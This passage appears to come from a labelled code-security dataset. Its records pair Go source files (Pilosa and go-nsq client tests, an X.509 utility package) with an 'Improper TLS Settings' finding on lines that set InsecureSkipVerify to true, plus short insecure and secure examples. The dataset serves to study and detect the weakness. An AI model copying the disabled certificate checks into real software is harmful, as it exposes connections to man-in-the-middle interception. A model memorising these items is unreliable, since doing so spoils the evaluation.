[]byte(`[{\"host\":\"10101:\",\"internalHost\":\"doesn'tmatter\"}]`)\n\tserver := getMockServer(200, data, len(data))\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\terr = client.importValues(\"foo\", \"bar\", 0, \"foo\", []FieldValue{})\n\tif err == nil {\n\t\tt.Fatalf(\"importValues should fail on invalid node host\")\n\t}\n}\n\nfunc TestDecodingFragmentNodesFails(t *testing.T) {\n\tserver := getMockServer(200, []byte(\"notjson\"), 7)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\t_, err = client.fetchFragmentNodes(\"foo\", 0)\n\tif err == nil {\n\t\tt.Fatalf(\"fetchFragmentNodes should fail when response from /fragment/nodes cannot be decoded\")\n\t}\n}\n\nfunc TestImportNodeFails(t *testing.T) {\n\tserver := getMockServer(500, []byte{}, 0)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\timportRequest := &pbuf.ImportRequest{\n\t\tColumnIDs: []uint64{},\n\t\tRowIDs: []uint64{},\n\t\tTimestamps: []int64{},\n\t\tIndex: \"foo\",\n\t\tFrame: \"bar\",\n\t\tSlice: 0,\n\t}\n\terr = client.importNode(uri, importRequest)\n\tif err == nil {\n\t\tt.Fatalf(\"importNode should fail when posting to /import fails\")\n\t}\n}\n\nfunc TestImportNodeProtobufMarshalFails(t *testing.T) {\n\t// even though this function isn't really an integration test,\n\t// it needs to access importNode which is not\n\t// available to client_test.go\n\tclient := getClient()\n\turi, err := NewURIFromAddress(\"http://does-not-matter.foo.bar\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.importNode(uri, nil)\n\tif err == nil {\n\t\tt.Fatalf(\"Should have failed\")\n\t}\n}\n\nfunc TestResponseWithInvalidType(t *testing.T) {\n\tqr := &pbuf.QueryResponse{\n\t\tErr: \"\",\n\t\tColumnAttrSets: []*pbuf.ColumnAttrSet{\n\t\t\t{\n\t\t\t\tID: 0,\n\t\t\t\tAttrs: []*pbuf.Attr{\n\t\t\t\t\t{\n\t\t\t\t\t\tType: 9999,\n\t\t\t\t\t\tStringValue: \"NOVAL\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tResults: []*pbuf.QueryResult{},\n\t}\n\tdata, err := proto.Marshal(qr)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tserver := getMockServer(200, data, -1)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\t_, err = client.Query(testFrame.Bitmap(1), nil)\n\tif err == nil {\n\t\tt.Fatalf(\"Should have failed\")\n\t}\n}\n\nfunc TestStatusFails(t *testing.T) {\n\tserver := getMockServer(404, nil, 0)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\t_, err = client.status()\n\tif err == nil {\n\t\tt.Fatalf(\"Should have failed\")\n\t}\n}\n\nfunc TestStatusUnmarshalFails(t *testing.T) {\n\tserver := getMockServer(200, []byte(\"foo\"), 3)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\t_, err = client.status()\n\tif err == nil {\n\t\tt.Fatalf(\"Should have failed\")\n\t}\n}\n\nfunc TestFetchViewsFails(t *testing.T) {\n\tserver := getMockServer(404, nil, 0)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\tframe, _ := index.Frame(\"viewfail\", nil)\n\t_, err = client.Views(frame)\n\tif err == nil {\n\t\tt.Fatalf(\"Should have failed\")\n\t}\n}\n\nfunc TestFetchViewsUnmarshalFails(t *testing.T) {\n\tserver := getMockServer(200, []byte(\"foo\"), 3)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\tframe, _ := index.Frame(\"viewfail\", nil)\n\t_, err = client.Views(frame)\n\tif err == nil {\n\t\tt.Fatalf(\"Should have failed\")\n\t}\n}\n\nfunc TestCreateIntFieldFails(t *testing.T) {\n\tserver := getMockServer(404, nil, 0)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\tframe, _ := index.Frame(\"rangeframe-addfield\", nil)\n\terr = client.CreateIntField(frame, \"foo\", 10, 20)\n\tif err == nil {\n\t\tt.Fatalf(\"Should have failed\")\n\t}\n}\n\nfunc TestDeleteFieldFails(t *testing.T) {\n\tserver := getMockServer(404, nil, 0)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\tframe, _ := index.Frame(\"rangeframe-deletefield\", nil)\n\terr = client.DeleteField(frame, \"foo\")\n\tif err == nil {\n\t\tt.Fatalf(\"Should have failed\")\n\t}\n}\n\nfunc TestStatusToNodeSlicesForIndex(t *testing.T) {\n\t// even though this function isn't really an integration test,\n\t// it needs to access statusToNodeSlicesForIndex which is not\n\t// available to client_test.go\n\n\turi, err := NewURIFromAddress(\"https://:10101\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\tstatus := &Status{\n\t\tNodes: []StatusNode{\n\t\t\t{\n\t\t\t\tScheme: \"https\",\n\t\t\t\tHost: \":10101\",\n\t\t\t\tIndexes: []StatusIndex{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"index1\",\n\t\t\t\t\t\tSlices: []uint64{0},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"index2\",\n\t\t\t\t\t\tSlices: []uint64{0},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tsliceMap := client.statusToNodeSlicesForIndex(status, \"index2\")\n\tif len(sliceMap) != 1 {\n\t\tt.Fatalf(\"slice map should have a single item\")\n\t}\n\tif uri, ok := sliceMap[0]; ok {\n\t\ttarget, _ := NewURIFromAddress(\"https://:10101\")\n\t\tif !uri.Equals(target) {\n\t\t\tt.Fatalf(\"slice map should have the correct URI\")\n\t\t}\n\t} else {\n\t\tt.Fatalf(\"slice map should have the correct slice\")\n\t}\n}\n\nfunc TestHttpRequest(t *testing.T) {\n\tclient := getClient()\n\t_, _, err := client.HttpRequest(\"GET\", \"/status\", nil, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc getClient() *Client {\n\turi, err := NewURIFromAddress(getPilosaBindAddress())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tcluster := NewClusterWithHost(uri)\n\treturn NewClientWithCluster(cluster, &ClientOptions{TLSConfig: &tls.Config{InsecureSkipVerify: true}})\n}\n\nfunc getPilosaBindAddress() string {\n\tfor _, kvStr := range os.Environ() {\n\t\tkv := strings.SplitN(kvStr, \"=\", 2)\n\t\tif kv[0] == \"PILOSA_BIND\" {\n\t\t\treturn kv[1]\n\t\t}\n\t}\n\treturn \"http://:10101\"\n}\n\nfunc getMockServer(statusCode int, response []byte, contentLength int) *httptest.Server {\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/x-protobuf\")\n\t\tif contentLength >= 0 {\n\t\t\tw.Header().Set(\"Content-Length\", strconv.Itoa(contentLength))\n\t\t}\n\t\tw.WriteHeader(statusCode)\n\t\tif response != nil {\n\t\t\tio.Copy(w, bytes.NewReader(response))\n\t\t}\n\t})\n\treturn httptest.NewServer(handler)\n}\n\ntype BrokenReader struct{}\n\nfunc (r BrokenReader) Read(p []byte) (n int, err error) {\n\treturn 0, errors.New(\"broken reader\")\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 1387, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "8876ce373e90ec8024d84294e8c70f9ecf2592cddd3ef98ab38cba9c8c9228da", "license": {"spdx": ["Apache-2.0"], "repo": "lukegb/encryptomatic", "path": "encryptoutil/encryptoutil.go", "repo_head_hexsha": "1867f9a64926bc70d488553f0e62f01c850691d2", "stack_hexsha": "1d573abf5c41c9a232eba402f95f14014317346e", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 61, "entireCode": "/*\nCopyright 2017 \n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Package encryptoutil provides some useful X.509 utilities.\npackage encryptoutil // import \"lukegb.com/encryptomatic/encryptoutil\"\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto\"\n\t\"crypto/ecdsa\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/asn1\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/url\"\n)\n\n// NamesFromCertificateRequest retrieves the list of domain names a certificate request is for.\nfunc NamesFromCertificateRequest(req *x509.CertificateRequest) []string {\n\tvar names []string\n\n\tif req.Subject.CommonName != \"\" {\n\t\tnames = append(names, req.Subject.CommonName)\n\t}\n\n\tfor _, n := range req.DNSNames {\n\t\tif req.Subject.CommonName == n {\n\t\t\tcontinue\n\t\t}\n\t\tnames = append(names, n)\n\t}\n\n\treturn names\n}\n\n// RetrieveCertificate retrieves a certificate from the remote host by dialing it.\nfunc RetrieveCertificate(ctx context.Context, network, addr string) (*x509.Certificate, error) {\n\tvar d net.Dialer\n\tnetConn, err := d.DialContext(ctx, network, addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttlsConn := tls.Client(netConn, &tls.Config{InsecureSkipVerify: true})\n\tif err := tlsConn.Handshake(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn tlsConn.ConnectionState().PeerCertificates[0], nil\n}\n\n// RetrieveCertificateFromURL retrieves a certificate from a remote host given a URL.\nfunc RetrieveCertificateFromURL(ctx context.Context, urlStr string) (*x509.Certificate, error) {\n\tu, err := url.Parse(urlStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn RetrieveCertificate(ctx, \"tcp\", u.Host)\n}\n\n// CertificateToPEM converts a x509.Certificate into a PEM-encoded slice of bytes.\nfunc CertificateToPEM(cert *x509.Certificate) []byte {\n\treturn pem.EncodeToMemory(&pem.Block{\n\t\tType: \"CERTIFICATE\",\n\t\tBytes: cert.Raw,\n\t})\n}\n\n// PEMToCertificate parses a PEM-encoded slice of bytes into an x509.Certificate.\nfunc PEMToCertificate(pemBytes []byte) (*x509.Certificate, []byte, error) {\n\tpemBlock, rest := pem.Decode(pemBytes)\n\tif pemBlock == nil {\n\t\treturn nil, rest, fmt.Errorf(\"encryptoutil: no PEM data found\")\n\t}\n\n\tcert, err := x509.ParseCertificate(pemBlock.Bytes)\n\tif err != nil {\n\t\treturn nil, rest, fmt.Errorf(\"encryptoutil: certificate failed to parse: %v\", err)\n\t}\n\n\treturn cert, rest, nil\n}\n\n// CertificateChainToPEM converts a certificate and its chain into a PEM-encoded slice of bytes.\nfunc CertificateChainToPEM(bundle []*x509.Certificate) []byte {\n\t// Convert bundle into PEM-encoded certificates.\n\tcertBundle := make([][]byte, len(bundle))\n\tfor n, cert := range bundle {\n\t\tpemCert := CertificateToPEM(cert)\n\t\tcertBundle[n] = pemCert\n\t}\n\n\treturn bytes.Join(certBundle, []byte{'\\n'})\n}\n\n// CertificateRequestToPEM converts an x509.CertificateRequest into a PEM-encoded slice of bytes.\nfunc CertificateRequestToPEM(req *x509.CertificateRequest) []byte {\n\treturn pem.EncodeToMemory(&pem.Block{\n\t\tType: \"CERTIFICATE REQUEST\",\n\t\tBytes: req.Raw,\n\t})\n}\n\ntype pkcs8Key struct {\n\tVersion int\n\n\tPrivateKeyAlgorithm []asn1.ObjectIdentifier\n\tPrivateKey []byte\n}\n\n// PrivateKeyToPEM converts a provided crypto.PrivateKey into a PEM-encoded slice of bytes.\nfunc PrivateKeyToPEM(key crypto.PrivateKey) ([]byte, error) {\n\tvar err error\n\n\tk := pkcs8Key{\n\t\tPrivateKeyAlgorithm: []asn1.ObjectIdentifier{nil},\n\t}\n\t// Convert to ASN.1.\n\tswitch key := key.(type) {\n\tcase *ecdsa.PrivateKey:\n\t\tk.PrivateKey, err = x509.MarshalECPrivateKey(key)\n\t\tk.PrivateKeyAlgorithm[0] = asn1.ObjectIdentifier{\n\t\t\t1, 2, 840, 10045, 2, 1,\n\t\t}\n\tcase *rsa.PrivateKey:\n\t\tk.PrivateKey = x509.MarshalPKCS1PrivateKey(key)\n\t\tk.PrivateKeyAlgorithm[0] = asn1.ObjectIdentifier{\n\t\t\t1, 2, 840, 113549, 1, 1, 1,\n\t\t}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unknown private key format %T\", key)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tasn1Bytes, err := asn1.Marshal(k)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Encode as PEM.\n\treturn pem.EncodeToMemory(&pem.Block{\n\t\tType: \"PRIVATE KEY\",\n\t\tBytes: asn1Bytes,\n\t}), nil\n}\n\n// PEMToPrivateKey parses a slice of bytes containing a PEM-encoded private key into a crypto.Signer.\nfunc PEMToPrivateKey(pemBytes []byte) (crypto.Signer, error) {\n\tpemBlock, _ := pem.Decode(pemBytes)\n\tif pemBlock == nil {\n\t\treturn nil, fmt.Errorf(\"encryptoutil: no valid PEM block\")\n\t}\n\n\tvar key crypto.Signer\n\tvar err error\n\tswitch pemBlock.Type {\n\tcase \"RSA PRIVATE KEY\":\n\t\tkey, err = x509.ParsePKCS1PrivateKey(pemBlock.Bytes)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\tcase \"PRIVATE KEY\":\n\t\tk, err := x509.ParsePKCS8PrivateKey(pemBlock.Bytes)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar ok bool\n\t\tkey, ok = k.(crypto.Signer)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"invalid private key returned from ParsePKCS8PrivateKey\")\n\t\t}\n\t}\n\n\treturn key, nil\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 61, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "06d9148f1e188eab93e0b4f79ed0998bd6b0bbd014d21d57f8c3c2843ea23f09", "license": {"spdx": ["MIT"], "repo": "Patty-Chen/go-nsq", "path": "consumer_test.go", "repo_head_hexsha": "8351640a8f2241cc76abd830ee5d870990166f28", "stack_hexsha": "29ba92a26e428434c930e4aa0b53135a26c535fb", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 283, "entireCode": "package nsq\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n)\n\ntype MyTestHandler struct {\n\tt *testing.T\n\tq *Consumer\n\tmessagesSent int\n\tmessagesReceived int\n\tmessagesFailed int\n\ttag string\n\texpectFailed int\n}\n\ntype NsqdlookupdWrapper struct {\n\tlookupdAddr string\n\tmetaInfoWrapper metaInfo\n\tt *testing.T\n\tfakeResponse map[string]lookupResp\n}\n\nfunc NewNsqlookupdWrapper(t *testing.T, addr string, metaInfo metaInfo) *NsqdlookupdWrapper {\n\tproxy := &NsqdlookupdWrapper{\n\t\tlookupdAddr: addr,\n\t\tmetaInfoWrapper: metaInfo,\n\t\tt: t,\n\t\tfakeResponse: make(map[string]lookupResp),\n\t}\n\treturn proxy\n}\n\nfunc (self *NsqdlookupdWrapper) fakeListLookupdWrap(w http.ResponseWriter, r *http.Request) {\n\tw.Write([]byte(\"{}\"))\n}\n\nfunc (self *NsqdlookupdWrapper) fakeListLookupdWrapSupplier(response string) func(http.ResponseWriter, *http.Request) {\n\treturn func (w http.ResponseWriter, r *http.Request) {w.Write([]byte(response))}\n}\n\nfunc (self *NsqdlookupdWrapper) fakeLookupdWrap(w http.ResponseWriter, r *http.Request) {\n\treqParams, err := url.ParseQuery(r.URL.RawQuery)\n\tif err != nil {\n\t\tself.t.Fatalf(\"error parse query %v\", r.URL.RawQuery)\n\t}\n\ttopic := reqParams.Get(\"topic\")\n\n\tnodes, _ := self.fakeResponse[topic]\n\tjsonBytes, err := json.Marshal(&nodes)\n\tif err != nil {\n\t\tself.t.Fatalf(\"error parse lookup resp\")\n\t}\n\tw.Header().Add(\"X-Nsq-Content-Type\", \"nsq; version=1.0\")\n\tself.t.Logf(\"resp: %s\", jsonBytes)\n\tw.Write(jsonBytes)\n}\n\nfunc (self *NsqdlookupdWrapper) lookupdWrap(w http.ResponseWriter, r *http.Request) {\n\treqParams, err := url.ParseQuery(r.URL.RawQuery)\n\tif err != nil {\n\t\tself.t.Fatalf(\"error parse query %v\", r.URL.RawQuery)\n\t}\n\taccess := reqParams.Get(\"access\")\n\ttopic := reqParams.Get(\"topic\")\n\tmetainfo := reqParams.Get(\"metainfo\")\n\n\tval := r.Header.Get(\"Accept\")\n\tlookupdUrl := fmt.Sprintf(\"http://%s/lookup?topic=%s&access=%s&metainfo=%s\", self.lookupdAddr, topic, access, metainfo)\n\treq, err := http.NewRequest(\"GET\", lookupdUrl, nil)\n\treq.Header.Add(\"Accept\", val)\n\tfmt.Printf(\"%v\\n\", val)\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tself.t.Fatalf(\"error from upstream lookup %v\", err)\n\t}\n\tvar nodes lookupResp\n\tjson.NewDecoder(resp.Body).Decode(&nodes)\n\tdefer resp.Body.Close()\n\tnodes.Meta = self.metaInfoWrapper\n\tjsonBytes, err := json.Marshal(&nodes)\n\tif err != nil {\n\t\tself.t.Fatalf(\"error parse lookup resp\")\n\t}\n\n\tw.Header().Add(\"X-Nsq-Content-Type\", \"nsq; version=1.0\")\n\tw.Write(jsonBytes)\n}\n\nfunc ensureFakedLookup(t *testing.T, addr string, meta metaInfo, topicList []string, stopC chan struct{}) (*NsqdlookupdWrapper, []*peerInfo, map[string]*peerInfo) {\n\tlookupdWrapper := NewNsqlookupdWrapper(t, \"127.0.0.1:4161\", metaInfo{\n\t\tPartitionNum: 1,\n\t\tReplica: 1,\n\t\tExtendSupport: true,\n\t})\n\tallPeers := make([]*peerInfo, 0)\n\tfor i := 0; i < meta.PartitionNum*meta.Replica; i++ {\n\t\tvar peer peerInfo\n\t\tpeer.BroadcastAddress = \"127.0.0.1\"\n\t\tpeer.Hostname = \"test\" + strconv.Itoa(i)\n\t\tpeer.HTTPPort = 4151 + i*100\n\t\tpeer.RemoteAddress = \"127.0.0.1\"\n\t\tpeer.TCPPort = 4150 + i*100\n\t\tpeer.Version = \"1.0\"\n\t\tallPeers = append(allPeers, &peer)\n\t}\n\tusedPeers := make(map[string]*peerInfo)\n\tfor _, t := range topicList {\n\t\trsp := lookupResp{\n\t\t\tMeta: meta,\n\t\t\tPartitions: make(map[string]*peerInfo),\n\t\t}\n\t\tfor i := 0; i < meta.PartitionNum; i++ {\n\t\t\tpeer := allPeers[i]\n\t\t\trsp.Producers = append(rsp.Producers, peer)\n\t\t\trsp.Partitions[strconv.Itoa(i)] = peer\n\t\t\tusedPeers[net.JoinHostPort(peer.BroadcastAddress, strconv.Itoa(peer.TCPPort))] = peer\n\t\t}\n\t\tlookupdWrapper.fakeResponse[t] = rsp\n\t}\n\tgo func() {\n\t\tsrvMux := http.NewServeMux()\n\t\tsrvMux.HandleFunc(\"/lookup\", lookupdWrapper.fakeLookupdWrap)\n\t\tsrvMux.HandleFunc(\"/listlookup\", lookupdWrapper.fakeListLookupdWrap)\n\t\tl, err := net.Listen(\"tcp\", addr)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tgo func() {\n\t\t\tselect {\n\t\t\tcase <-stopC:\n\t\t\t\tl.Close()\n\t\t\t}\n\t\t}()\n\t\thttp.Serve(l, srvMux)\n\t}()\n\t<-time.After(time.Second)\n\treturn lookupdWrapper, allPeers, usedPeers\n}\n\nvar nullLogger = log.New(ioutil.Discard, \"\", log.LstdFlags)\n\nfunc (h *MyTestHandler) LogFailedMessage(message *Message) {\n\th.messagesFailed++\n\th.t.Logf(\"log fail message: %v, %v\", h.messagesReceived, GetNewMessageID(message.ID[:]))\n\tif h.messagesFailed >= h.expectFailed {\n\t\th.q.Stop()\n\t}\n}\n\nfunc (h *MyTestHandler) HandleMessage(message *Message) error {\n\tif string(message.Body) == \"TOBEFAILED\" {\n\t\th.messagesReceived++\n\t\th.t.Logf(\"received fail message: %v, %v\", h.messagesReceived, GetNewMessageID(message.ID[:]))\n\t\treturn errors.New(\"fail this message\")\n\t}\n\n\tdata := struct {\n\t\tMsg string\n\t}{}\n\n\terr := json.Unmarshal(message.Body, &data)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmsg := data.Msg\n\tif msg != \"single\" && msg != \"double\" {\n\t\th.t.Error(\"message 'action' was not correct: \", msg, data)\n\t}\n\tif h.tag != \"\" {\n\t\tif message.ExtVer != uint8(4) || !strings.Contains(string(message.ExtBytes), h.tag) {\n\t\t\th.t.Error(\"message received has different tag or ext version: \", h.tag, message.ExtVer, string(message.ExtBytes))\n\t\t}\n\t}\n\th.messagesReceived++\n\th.t.Logf(\"received message: %v, %v\", h.messagesReceived, GetNewMessageID(message.ID[:]))\n\treturn nil\n}\n\nfunc EnsureTopicWithExt(t *testing.T, port int, topic string, part int, ext bool) {\n\tendpoint := fmt.Sprintf(\"127.0.0.1:%d\", port)\n\tconn, err := net.DialTimeout(\"tcp\", endpoint, 3*time.Second)\n\tif err != nil {\n\t\tt.Fatalf(err.Error())\n\t\treturn\n\t}\n\tconn.Write(MagicV2)\n\tif ext {\n\t\tCreateTopicWithExt(topic, part).WriteTo(conn)\n\t} else {\n\t\tCreateTopic(topic, part).WriteTo(conn)\n\t}\n\tresp, err := ReadResponse(conn)\n\tif err != nil {\n\t\tt.Fatal(err.Error())\n\t\treturn\n\t}\n\tframeType, data, err := UnpackResponse(resp)\n\tif err != nil {\n\t\tt.Fatal(err.Error())\n\t\treturn\n\t}\n\tif frameType == FrameTypeError {\n\t\tt.Fatal(string(data))\n\t}\n\ttime.Sleep(time.Second)\n}\n\nfunc EnsureTopic(t *testing.T, port int, topic string, part int) {\n\tendpoint := fmt.Sprintf(\"127.0.0.1:%d\", port)\n\tconn, err := net.DialTimeout(\"tcp\", endpoint, 3*time.Second)\n\tif err != nil {\n\t\tt.Fatalf(err.Error())\n\t\treturn\n\t}\n\tconn.Write(MagicV2)\n\tCreateTopic(topic, part).WriteTo(conn)\n\tresp, err := ReadResponse(conn)\n\tif err != nil {\n\t\tt.Fatal(err.Error())\n\t\treturn\n\t}\n\tframeType, data, err := UnpackResponse(resp)\n\tif err != nil {\n\t\tt.Fatal(err.Error())\n\t\treturn\n\t}\n\tif frameType == FrameTypeError {\n\t\tt.Fatal(string(data))\n\t}\n\ttime.Sleep(time.Second)\n}\n\nfunc SendMessage(t *testing.T, port int, topic string, method string, body []byte) {\n\thttpclient := &http.Client{}\n\tendpoint := fmt.Sprintf(\"http://127.0.0.1:%d/%s?topic=%s\", port, method, topic)\n\treq, err := http.NewRequest(\"POST\", endpoint, bytes.NewBuffer(body))\n\tresp, err := httpclient.Do(req)\n\tif err != nil {\n\t\tt.Fatalf(err.Error())\n\t\treturn\n\t}\n\tresp.Body.Close()\n}\n\nfunc SendTagedMessage(t *testing.T, port int, topic string, method string, body []byte, tag string) {\n\thttpclient := &http.Client{}\n\tjsonStr := fmt.Sprintf(\"{\\\"##client_dispatch_tag\\\":\\\"%s\\\"}\", tag)\n\tendpoint := fmt.Sprintf(\"http://127.0.0.1:%d/%s?topic=%s&ext=%s\", port, method, topic, url.QueryEscape(jsonStr))\n\treq, err := http.NewRequest(\"POST\", endpoint, bytes.NewBuffer(body))\n\tresp, err := httpclient.Do(req)\n\tif err != nil {\n\t\tt.Fatalf(err.Error())\n\t\treturn\n\t}\n\tresp.Body.Close()\n}\n\nfunc TestConsumer(t *testing.T) {\n\tconsumerTest(t, nil)\n}\n\nfunc TestConsumerTLS(t *testing.T) {\n\tconsumerTest(t, func(c *Config) {\n\t\tc.TlsV1 = true\n\t\tc.TlsConfig = &tls.Config{\n\t\t\tInsecureSkipVerify: true,\n\t\t}\n\t})\n}\n\nfunc TestConsumerDeflate(t *testing.T) {\n\tconsumerTest(t, func(c *Config) {\n\t\tc.Deflate = true\n\t})\n}\n\nfunc TestConsumerSnappy(t *testing.T) {\n\tconsumerTest(t, func(c *Config) {\n\t\tc.Snappy = true\n\t})\n}\n\nfunc TestConsumerTLSDeflate(t *testing.T) {\n\tconsumerTest(t, func(c *Config) {\n\t\tc.TlsV1 = true\n\t\tc.TlsConfig = &tls.Config{\n\t\t\tInsecureSkipVerify: true,\n\t\t}\n\t\tc.Deflate = true\n\t})\n}\n\nfunc TestConsumerTLSSnappy(t *testing.T) {\n\tconsumerTest(t, func(c *Config) {\n\t\tc.TlsV1 = true\n\t\tc.TlsConfig = &tls.Config{\n\t\t\tInsecureSkipVerify: true,\n\t\t}\n\t\tc.Snappy = true\n\t})\n}\n\nfunc TestConsumerTLSClientCert(t *testing.T) {\n\tenvDl := os.Getenv(\"NSQ_DOWNLOAD\")\n\tif strings.HasPrefix(envDl, \"nsq-0.2.24\") || strings.HasPrefix(envDl, \"nsq-0.2.27\") {\n\t\tt.Log(\"skipping due to older nsqd\")\n\t\treturn\n\t}\n\tcert, _ := tls.LoadX509KeyPair(\"./test/client.pem\", \"./test/client.key\")\n\tconsumerTest(t, func(c *Config) {\n\t\tc.TlsV1 = true\n\t\tc.TlsConfig = &tls.Config{\n\t\t\tCertificates: []tls.Certificate{cert},\n\t\t\tInsecureSkipVerify: true,\n\t\t}\n\t})\n}\n\nfunc TestConsumerTLSClientCertViaSet(t *testing.T) {\n\tenvDl := os.Getenv(\"NSQ_DOWNLOAD\")\n\tif strings.HasPrefix(envDl, \"nsq-0.2.24\") || strings.HasPrefix(envDl, \"nsq-0.2.27\") {\n\t\tt.Log(\"skipping due to older nsqd\")\n\t\treturn\n\t}\n\tconsumerTest(t, func(c *Config) {\n\t\tc.Set(\"tls_v1\", true)\n\t\tc.Set(\"tls_cert\", \"./test/client.pem\")\n\t\tc.Set(\"tls_key\", \"./test/client.key\")\n\t\tc.Set(\"tls_insecure_skip_verify\", true)\n\t})\n}\n\nfunc TestConsumerDiscoveryLookupd(t *testing.T) {\n\t// TODO:\n}\n\nfunc TestConsumerSubToNotLeader(t *testing.T) {\n\t// TODO:\n}\n\nfunc TestConsumerSubToExtTopic(t *testing.T) {\n\tconsumerTagTest(t, func(c *Config) {\n\t\tc.Set(\"desired_tag\", \"tagTest123\")\n\t})\n}\n\nfunc TestConsumerSubToExtTopicLookupd(t *testing.T) {\n\tconsumerTagTestLookupd(t, func(c *Config) {\n\t\tc.Set(\"desired_tag\", \"tagTest123\")\n\t})\n}\n\nfunc consumerTagTestLookupd(t *testing.T, cb func(c *Config)) {\n\tlookupdAddrWrapper := \"127.0.0.1:4162\"\n\tstopCh := make(chan struct{})\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() 